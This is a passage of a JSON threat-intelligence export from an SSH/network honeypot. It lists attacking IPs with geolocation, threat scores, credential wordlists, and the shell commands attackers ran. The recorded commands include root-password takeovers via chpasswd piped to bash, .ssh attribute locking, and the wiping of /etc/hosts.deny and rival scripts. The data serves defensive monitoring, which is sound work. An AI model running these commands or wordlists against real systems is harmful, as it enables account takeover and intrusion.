      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T14:35:41.502000+00:00",
        "last_seen_30d": "2026-03-20T14:36:57.813000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "205.210.31.220": {
      "attack_count": 2,
      "first_seen": "2026-03-15T16:57:20.267Z",
      "last_seen": "2026-03-15T16:57:51.310Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 85.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 80,
        "days_active_30d": 29,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T01:36:21+00:00",
        "last_seen_30d": "2026-03-30T07:22:36.367000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 53,
        "Honeytrap": 21,
        "ConPot": 3,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "41.59.26.206": {
      "attack_count": 2,
      "first_seen": "2026-03-18T03:34:03.950Z",
      "last_seen": "2026-03-18T03:34:17.038Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T03:34:03.950000+00:00",
        "last_seen_30d": "2026-03-18T03:35:24.467000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.190.98.40": {
      "attack_count": 2,
      "first_seen": "2026-03-19T03:57:19.613Z",
      "last_seen": "2026-03-19T03:57:32.630Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Santo Amaro do Maranh\u00e3o",
      "asn": 269645,
      "as_org": "WF CONNECT",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T03:57:19.613000+00:00",
        "last_seen_30d": "2026-03-19T03:58:39.267000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.183.103.84": {
      "attack_count": 2,
      "first_seen": "2026-03-22T18:33:02.685Z",
      "last_seen": "2026-03-22T18:33:15.792Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Amritsar",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T18:33:02.685000+00:00",
        "last_seen_30d": "2026-03-22T18:34:19.300000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.183.117.200": {
      "attack_count": 2,
      "first_seen": "2026-03-18T07:53:00.984Z",
      "last_seen": "2026-03-18T07:53:15.673Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Amritsar",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T07:53:00.984000+00:00",
        "last_seen_30d": "2026-03-18T07:54:17.631000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "60.77.64.227": {
      "attack_count": 2,
      "first_seen": "2026-03-09T03:54:11.322Z",
      "last_seen": "2026-03-09T03:54:25.523Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 17676,
      "as_org": "SoftBank Corp.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T03:54:11.322000+00:00",
        "last_seen_30d": "2026-03-09T03:55:33.242000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "78.175.69.181": {
      "attack_count": 2,
      "first_seen": "2026-03-13T03:47:52.015Z",
      "last_seen": "2026-03-13T03:48:05.369Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Turgutlu",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T03:47:52.015000+00:00",
        "last_seen_30d": "2026-03-13T03:49:13.938000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "8.219.82.137": {
      "attack_count": 2,
      "first_seen": "2026-03-18T04:34:22.301Z",
      "last_seen": "2026-03-18T04:34:53.058Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T04:34:22.301000+00:00",
        "last_seen_30d": "2026-03-18T04:35:56.398000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "8.222.252.209": {
      "attack_count": 2,
      "first_seen": "2026-03-18T00:26:27.274Z",
      "last_seen": "2026-03-18T00:26:58.060Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 10.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T00:26:27.274000+00:00",
        "last_seen_30d": "2026-03-18T00:28:05.541000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "80.253.31.232": {
      "attack_count": 2,
      "first_seen": "2026-03-12T09:15:53.746Z",
      "last_seen": "2026-03-12T09:17:53.750Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 39153,
      "as_org": "LLC SETEL",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T09:15:53.746000+00:00",
        "last_seen_30d": "2026-03-12T09:27:55.344000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "80.41.144.32": {
      "attack_count": 2,
      "first_seen": "2026-03-30T11:30:01.403Z",
      "last_seen": "2026-03-30T11:30:14.427Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Rayleigh",
      "asn": 13285,
      "as_org": "TalkTalk",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T11:30:01.403000+00:00",
        "last_seen_30d": "2026-03-30T11:31:21.370000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "81.10.36.225": {
      "attack_count": 2,
      "first_seen": "2026-03-27T11:49:09.307Z",
      "last_seen": "2026-03-27T11:49:23.834Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "Port Said",
      "asn": 8452,
      "as_org": "TE Data",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T11:49:09.307000+00:00",
        "last_seen_30d": "2026-03-27T11:50:28.694000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.196.152.0": {
      "attack_count": 2,
      "first_seen": "2026-03-14T09:55:11.179Z",
      "last_seen": "2026-03-14T09:55:21.459Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 73.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.1,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 51,
        "days_active_30d": 29,
        "ports_targeted_30d": 18,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T19:33:11+00:00",
        "last_seen_30d": "2026-03-30T04:42:36.172000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 32,
        "Honeytrap": 17,
        "Cowrie": 2
      }
    },
    "91.231.89.79": {
      "attack_count": 2,
      "first_seen": "2026-03-21T13:53:34.500Z",
      "last_seen": "2026-03-21T13:53:34.501Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 80.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 30,
        "ports_targeted_30d": 45,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T17:56:49+00:00",
        "last_seen_30d": "2026-03-31T14:16:46.029000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 72,
        "Honeytrap": 45,
        "Cowrie": 2
      }
    },
    "91.80.162.117": {
      "attack_count": 2,
      "first_seen": "2026-03-10T13:13:11.495Z",
      "last_seen": "2026-03-10T13:13:24.352Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Fara Gera d'Adda",
      "asn": 30722,
      "as_org": "Fastweb",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T13:13:11.495000+00:00",
        "last_seen_30d": "2026-03-10T13:14:27.201000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "85.206.171.113": {
      "attack_count": 1113,
      "first_seen": "2026-03-08T18:55:03.742Z",
      "last_seen": "2026-03-26T08:17:02.670Z",
      "sessions": 81,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "claude",
        "edward",
        "ionadmin",
        "kocom",
        "lq",
        "mahdi",
        "mailtest",
        "mehedi",
        "music",
        "newusername",
        "test_user",
        "user",
        "admin",
        "amin",
        "android",
        "asdf",
        "beehive",
        "boss"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "password",
        "12345",
        "12345678",
        "123",
        "112358",
        "123456",
        "1q2w3e",
        "2wsxXSW@",
        "Abcd@123",
        "Amin123",
        "Cockpit123",
        "Edward123",
        "Ernesto123",
        "Installer123!",
        "Jenkins123",
        "Kuanfan@021",
        "Mcuser123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nOFYmfPDq5UCS\\nOFYmfPDq5UCS\\n\"|passwd",
        "echo \"12345\\noGaKdbzMf3TI\\noGaKdbzMf3TI\\n\"|passwd",
        "echo \"123\\nD332nl7RnthN\\nD332nl7RnthN\\n\"|passwd",
        "echo \"1q2w3e\\n0asR9dJVMzNL\\n0asR9dJVMzNL\\n\"|passwd",
        "echo \"Edward123\\npYnE7SIVAowc\\npYnE7SIVAowc\\n\"|passwd",
        "echo \"Mehedi123!\\nn5GOcwpiNdNg\\nn5GOcwpiNdNg\\n\"|passwd",
        "echo \"newusername123\\nbNIoHS3Lt5Vu\\nbNIoHS3Lt5Vu\\n\"|passwd",
        "echo \"password\\n6QWccRs1jCGS\\n6QWccRs1jCGS\\n\"|passwd",
        "echo \"password\\n8u2kgfSrgSaS\\n8u2kgfSrgSaS\\n\"|passwd",
        "echo \"password\\nl7vih4lbFvaW\\nl7vih4lbFvaW\\n\"|passwd",
        "echo \"password\\nth13UgiW8K4K\\nth13UgiW8K4K\\n\"|passwd"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Lithuania",
      "country_code": "LT",
      "city": "\u0160iauliai",
      "asn": 61272,
      "as_org": "Informacines sistemos ir technologijos, UAB",
      "threat_score": 48.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 1299,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T18:55:03.742000+00:00",
        "last_seen_30d": "2026-03-26T08:18:05.197000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1113,
        "Suricata": 186
      }
    },
    "178.62.28.185": {
      "attack_count": 1078,
      "first_seen": "2026-03-06T19:14:47.313Z",
      "last_seen": "2026-03-06T22:21:40.440Z",
      "sessions": 213,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "test",
        "guest",
        "apache",
        "docker",
        "ftp",
        "git",
        "jenkins",
        "minecraft",
        "mysql",
        "nginx",
        "oracle",
        "pi",
        "postgres",
        "ts3",
        "ubuntu",
        "vagrant",
        "www"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "qwerty",
        "admin",
        "welcome",
        "12345",
        "deploy",
        "letmein",
        "passw0rd",
        "root",
        "server",
        "P@ssw0rd",
        "admin123",
        "anonymous",
        "changeme",
        "guest",
        "!root",
        "123456789",
        "Admin123",
        "Apache123"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 7.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 1542,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T19:14:45.886000+00:00",
        "last_seen_30d": "2026-03-06T22:22:49.129000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1078,
        "Suricata": 464
      }
    },
    "34.85.163.94": {
      "attack_count": 900,
      "first_seen": "2026-03-02T16:49:24.870Z",
      "last_seen": "2026-03-31T10:59:41.146Z",
      "sessions": 75,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cs",
        "one",
        "ts3server",
        "andy",
        "appserver",
        "bryan",
        "syncuser",
        "ttt",
        "webuser",
        "wireguard"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "!QAZXSW@#EDCVFR$",
        "12345",
        "123456qwe!@#",
        "12345Qwerty",
        "123abc321",
        "1793",
        "3821123",
        "77777777",
        "88888888a",
        "@",
        "@qwer2025",
        "Aa@123456.",
        "Aaa123321",
        "Asd1234%",
        "Asdfg123456",
        "Bingo@1993",
        "Flzx3qc!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234\\nRPVav0qGSjgY\\nRPVav0qGSjgY\\n\"|passwd",
        "echo \"onepass\\nRWTXGOAXVnzM\\nRWTXGOAXVnzM\\n\"|passwd",
        "echo \"password\\n7Bx0d0NJfxAT\\n7Bx0d0NJfxAT\\n\"|passwd",
        "echo \"root:88NP40eXsJIQ\"|chpasswd|bash",
        "echo \"root:8APtCzyeO5Go\"|chpasswd|bash",
        "echo \"root:8ZOtVEgILu6d\"|chpasswd|bash",
        "echo \"root:9IlEI4nECgGt\"|chpasswd|bash",
        "echo \"root:NXnD51IIL91i\"|chpasswd|bash",
        "echo \"root:hEEXQhOjBZSy\"|chpasswd|bash",
        "echo -e \"1234\\nRPVav0qGSjgY\\nRPVav0qGSjgY\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 67.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1083,
        "days_active_30d": 30,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T16:49:24.870000+00:00",
        "last_seen_30d": "2026-03-31T11:00:43.774000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 900,
        "Suricata": 183
      }
    },
    "103.210.21.58": {
      "attack_count": 785,
      "first_seen": "2026-03-07T18:22:08.122Z",
      "last_seen": "2026-03-24T09:46:34.047Z",
      "sessions": 63,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "7days",
        "administrator",
        "km",
        "n8n",
        "plex",
        "ram",
        "root1",
        "webmin",
        "amin",
        "andre",
        "andrey",
        "bart",
        "builder",
        "craft",
        "deploy",
        "escaner",
        "glassfish",
        "hasan"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123",
        "123456",
        "password",
        "1234",
        "12345678",
        "2025",
        "Aa123456!@#",
        "Km123",
        "Rahul123!",
        "Sammy123!",
        "Shyam123",
        "Test1234",
        "User02123!",
        "Vas123!",
        "administrator123!",
        "andrey123",
        "craftpass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nz1G8mPE0McHx\\nz1G8mPE0McHx\\n\"|passwd",
        "echo \"12345\\nTDQeSJsKLfnG\\nTDQeSJsKLfnG\\n\"|passwd",
        "echo \"123\\nQ3V7Jd6oAaoE\\nQ3V7Jd6oAaoE\\n\"|passwd",
        "echo \"Km123\\nkgBoY48Ux3qs\\nkgBoY48Ux3qs\\n\"|passwd",
        "echo \"administrator123!\\nFFVvFxTCzD51\\nFFVvFxTCzD51\\n\"|passwd",
        "echo \"n8n\\nF7XMPDLN7uWy\\nF7XMPDLN7uWy\\n\"|passwd",
        "echo \"plex1234\\noJm54LFdK2dK\\noJm54LFdK2dK\\n\"|passwd",
        "echo \"root:TJKuzWHbAgXa\"|chpasswd|bash",
        "echo -e \"12345678\\nz1G8mPE0McHx\\nz1G8mPE0McHx\"|passwd|bash",
        "echo -e \"12345\\nTDQeSJsKLfnG\\nTDQeSJsKLfnG\"|passwd|bash",
        "echo -e \"123\\nQ3V7Jd6oAaoE\\nQ3V7Jd6oAaoE\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 43.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.7,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 930,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T18:22:08.122000+00:00",
        "last_seen_30d": "2026-03-24T09:47:38.234000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 785,
        "Suricata": 145
      }
    },
    "154.90.54.142": {
      "attack_count": 569,
      "first_seen": "2026-03-20T03:49:39.290Z",
      "last_seen": "2026-03-26T06:17:23.084Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "canal",
        "p",
        "shares",
        "test",
        "ubuntu",
        "Administrator",
        "admin",
        "arch",
        "beehive",
        "bill",
        "business",
        "canada",
        "cc",
        "client",
        "friend",
        "ftp2",
        "huawei",
        "ionadmin"
      ],
      "passwords_attempted": [
        "password",
        "3245gs5662d34",
        "345gs5662d34",
        "112358",
        "1234",
        "2wsxXSW@",
        "87654321",
        "Aa123123..",
        "Abcd1234@",
        "Administrator",
        "Canal123",
        "Joao123!",
        "Kuanfan@021",
        "Logviewer",
        "Ms123!",
        "Vanessa123",
        "adminadmin",
        "bill",
        "business123!",
        "canada"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
